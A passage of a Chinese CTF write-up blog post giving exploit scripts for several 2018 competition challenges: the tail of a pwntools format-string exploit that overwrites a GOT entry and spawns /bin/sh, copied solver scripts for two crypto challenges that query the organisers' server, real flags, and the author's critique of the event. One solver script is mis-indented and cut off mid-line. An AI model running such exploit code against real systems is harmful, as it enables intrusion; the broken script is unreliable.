    fmtstr = fmtstr_addr%(atoi_got_plt-0x10)
    j_fmt(fmtstr)    
    fmt(fmtstr_val2%(setb_plt-0x10))
    p.recvuntil('exit\n')
    p.sendline("/bin/sh")
    p.interactive()

if __name__  ==  '__main__':
    context.arch = 'i386'
    # libc = ELF('./libc.so.6')
    if len(sys.argv) < 2:
        # p = process('./babyheap',env = {'LD_PRELOAD':'/lib/x86_64-linux-gnu/libc-2.19.so'})   
        p = process('./pwn4')
        context.log_level = 'debug'        
    else:   
        p = remote(sys.argv[1], int(sys.argv[2]))
        context.log_level = 'debug' 
        # context.log_level = 'debug'
pwn()

Crypto-3dlight

题目信息

Flag:flag{fafe7bab4ee995a2883b67bec70ed398}

提示

1. nc 123.59.138.211 20000
2. Download

解题思路

这题我自己并未做出来,此处直接贴上他人的exp吧,写的可真鸡儿复杂啊

from pwn import * 
import time
context_level = "debug" 
def check(x, y, z):
     if x < 0 or x > 7 or y < 0 or y > 7 or z < 0 or z > 7 or temp_data[x][y][z] != -1:
        return False
    return True
def test_value(x, y, z):
    if x < 0 or x > 7 or y < 0 or y > 7 or z < 0 or z > 7:
        return False
    return True
temp_data = [[[-1 for i in xrange(8)] for i in xrange(8)] for i in xrange(8) ]
find_l = [0,2,4,6,8,10,12,14,16,18,20,22,24,26,27,28,29,30,31,32,33,34,35,36 ,37,39,41,43,45,47,49,51,53,55,57,59,61,63]
for i in find_l:
    x = i / 8
    y = i % 8
    if temp_data[x][y][7] == -1:
        temp_data[x][y][7] = 0
test = 0
while True:
    test += 1
    conn = remote("123.59.138.211", 20000)
    recv = conn.recv()
    print recv
    str_ = recv.find("ciphertext is : ")+16
    if str_ < 16:
        recv = conn.recv()
        print recv
        str_ = recv.find("ciphertext is : ") + 16
    enflag = recv[str_:].strip("\n")
    print enflag
    flagdegex = enflag.decode("hex")
    flag_list = [[[(ord(flagdegex[i*8*8 + j*8 + k])) for k in xrange(8)] for j in xrange(8)] for i in xrange(8)]
    for i in xrange(8):
        for j in xrange(8):
            for k in xrange(8):
                if temp_data[i][j][k] == -1:
                    if flag_list[i][j][k] == 0:
                        if check(i,j,k): temp_data[i][j][k] = 0
                            if check(i,j,k+1):
                                temp_data[i][j][k+1] = 0
                            if check(i,j+1,k):
                                temp_data[i][j+1][k] = 0
                            if check(i+1,j,k):
                                temp_data[i+1][j][k] = 0
                            if check(i,j,k-1):
                                 temp_data[i][j][k-1] = 0
                            if check(i,j-1,k):
                                temp_data[i][j-1][k] = 0
                            if check(i-1,j,k):
                                temp_data[i-1][j][k] = 0 
                        elif flag_list[i][j][k] == 8:
                            if check(i,j,k):
                                temp_data[i][j][k] = 1
                            if check(i,j,k+1):
                                temp_data[i][j][k+1] = 1
                            if check(i,j+1,k):
                                temp_data[i][j+1][k] = 1
                            if check(i+1,j,k):
                                temp_data[i+1][j][k] = 1
                            if check(i,j,k-1):
                                temp_data[i][j][k-1] = 1
                            if check(i,j-1,k):
                                temp_data[i][j-1][k] = 1
                            if check(i-1,j,k):
                                temp_data[i-1][j][k] = 1
                        elif flag_list[i][j][k] == 1:
                            if check(i,j,k):
                                temp_data[i][j][k] = 0
                        elif flag_list[i][j][k] == 7:
                            if check(i,j,k):
                                temp_data[i][j][k] = 1
    for _ in range(10):
        for i in xrange(8):
            for j in xrange(8):
                for k in xrange(8):
                    if temp_data[i][j][k] == -1:
                        sidenum = 0
                        num0 = 0
                        num1 = 0
                        side1 = -1
                        if test_value(i, j, k+1):
                            sidenum += 1
                            if temp_data[i][j][k+1] == 0:
                                num0 += 1
                            if temp_data[i][j][k+1] == 1:
                                num1 += 1
                        if test_value(i, j+1, k):
                            sidenum += 1
                        if temp_data[i][j+1][k] == 0:
                            num0 += 1
                        if temp_data[i][j+1][k] == 1:
                            num1 += 1
                        if test_value(i+1, j, k):
                            sidenum += 1
                            if temp_data[i+1][j][k] == 0:
                                num0 += 1
                            if temp_data[i+1][j][k] == 1:
                                num1 += 1
                        if test_value(i, j, k-1):
                            sidenum += 1
                            if temp_data[i][j][k-1] == 0:
                                num0 += 1
                            if temp_data[i][j][k-1] == 1:
                                num1 += 1
                        if test_value(i, j-1, k):
                            sidenum += 1
                            if temp_data[i][j-1][k] == 0:
                                num0 += 1
                            if temp_data[i][j-1][k] == 1:
                                num1 += 1
                        if test_value(i-1, j, k):
                            sidenum += 1
                            if temp_data[i-1][j][k] == 0:
                                num0 += 1
                            if temp_data[i-1][j][k] == 1:
                                num1 += 1
                        if (flag_list[i][j][k] > sidenum-num0):
                            temp_data[i][j][k] = 1
                            side1 = flag_list[i][j][k]-2

                        if (flag_list[i][j][k] <= num1):
                            temp_data[i][j][k] = 0
                            side1 = flag_list[i][j][k]

                        if side1 != -1:
                            if sidenum-num0 == side1:
                                if check(i, j, k+1):
                                    temp_data[i][j][k+1] = 1
                                if check(i, j+1, k):
                                    temp_data[i][j+1][k] = 1
                                if check(i+1, j, k):
                                    temp_data[i+1][j][k] = 1
                                if check(i, j, k-1):
                                    temp_data[i][j][k-1] = 1
                                if check(i, j-1, k):
                                    temp_data[i][j-1][k] = 1
                                if check(i-1, j, k):
                                    temp_data[i-1][j][k] = 1
                                if side1 == num1:
                                    if check(i, j, k+1):
                                        temp_data[i][j][k+1] = 0
                                    if check(i, j+1, k):
                                        temp_data[i][j+1][k] = 0
                                    if check(i+1, j, k):
                                        temp_data[i+1][j][k] = 0
                                    if check(i, j, k-1):
                                        temp_data[i][j][k-1] = 0
                                    if check(i, j-1, k):
                                        temp_data[i][j-1][k] = 0
                                    if check(i-1, j, k):
                                        temp_data[i-1][j][k] = 0
    status = 1
    flag_result = ""
    for i in find_l:
        tmp = 0
        for k in range(8):
            val = temp_data[i / 8][y % 8][k]
            if val == -1:
                val = 0
                status = 0
            tmp += val<

Crypto-rsa system

题目信息

Flag:flag{116107e92518781a2b64ec2072d3f73e}

提示

1. nc 123.59.138.211 23333
2. Download

解题思路

直接贴exp吧,反正我也看不懂2333

#encoding=utf-8
from pwn import *
from time import sleep
# context.log_level='debug'
ip='123.59.138.211'
# ip='127.0.0.1'
ppp=[99, 124, 119, 123, 242, 107, 111, 197, 48, 1, 103, 43, 254, 215, 171, 118, 202, 130, 201, 125, 250, 89, 71, 240, 173, 212, 162, 175, 156, 164, 114, 192, 183, 253, 147, 38, 54, 63]
n = 0xBACA954B2835186EEE1DAC2EF38D7E11582127FB9E6107CCAFE854AE311C07ACDE3AAC8F0226E1435D53F03DC9CE6701CF9407C77CA9EE8B5C0DEE300B11DD4D6DC33AC50CA9628A7FB3928943F90738BF6F5EC39F786D1E6AD565EB6E0F1F92ED3227658FDC7C3AE0D4017941E1D5B27DB0F12AE1B54664FD820736235DA626F0D6F97859E5969902088538CF70A0E8B833CE1896AE91FB62852422B8C29941903A6CF4A70DF2ACA1D5161E01CECFE3AD80041B2EE0ACEAA69C793D6DCCC408519A8C718148CF897ACB24FADD8485588B50F39BCC0BBF2BF7AD56A51CB3963F1EB83D2159E715C773A1CB5ACC05B95D2253EEFC3CCC1083A5EF279AF06BB92F
e = 0x10001

def str2int(s):
    return int(s.encode('hex'), 16)

def s1(fff):
    p.recvuntil('choice :\n')
    p.sendline('1')
    p.recvuntil('):')
    p.sendline(fff) 

def s2():
    p.recvuntil('choice :\n')
    p.sendline('2')
    p.recvuntil('is : ')
    t=p.recvline()
    # print('t',t.replace('\n',''))
    return t

flag="f"    
for i in range(2,39):
    p=remote(ip, 23333)
    # p.interactive()
    s1(chr(256-i)*218)
    s1('')
    c=s2()
    m=[chr(256-i) for tm in range(256)]
    for l in range(len(flag)):
        m[ppp[l]]=flag[l]
    for jj in range(0,256):
        m[ppp[i-1]]=chr(jj)
        kkk=""
        for mm in m:
            kkk+=mm
        kkk=str2int(kkk)
        if(pow(kkk,e,n)==int(c,16)):
            flag+=chr(jj)
            print(flag)
            break
    p.close()

Crypto-advanced ecc

题目信息

Flag:flag{}

提示

1. nc 123.59.138.211 34545
2. Download

解题思路

未解出

赛后感悟

相比上次强网杯,平台支撑好了很多。然而题目略坑。
Misc感觉纯粹是为了出题而出题。放一份源代码不知道误导了多少人。至少提示中应该说明与代码审计无关,然而提示里什么也没说。
Web根本没有什么实战意义,upload无过滤上传,biubiubiu题目环境部署问题,导致出现非预期解,进而导致难度大幅度降低,shop log这题想吐槽到死的md5前6位的验证码,比谁机器好的游戏么?这在实战当中基本都是不可能存在的东西。
Crypto,Reverse,PWN不怎么会,不过听做题的小伙伴说这些题目还好。
题目比例上,Misc 4题,Web 4题,Crypto 3题,PWN 3题,Reverse 3题,比上次强网杯PWN爸爸吊打全场好多了。
总体来说赛题水平一般,应该是截至目前为止(2018-05-01)公开比赛里比较简单的那类了,期待明年的红帽杯能有更好更优秀的题目出现


Viewing all articles
Browse latest Browse all 25

Trending Articles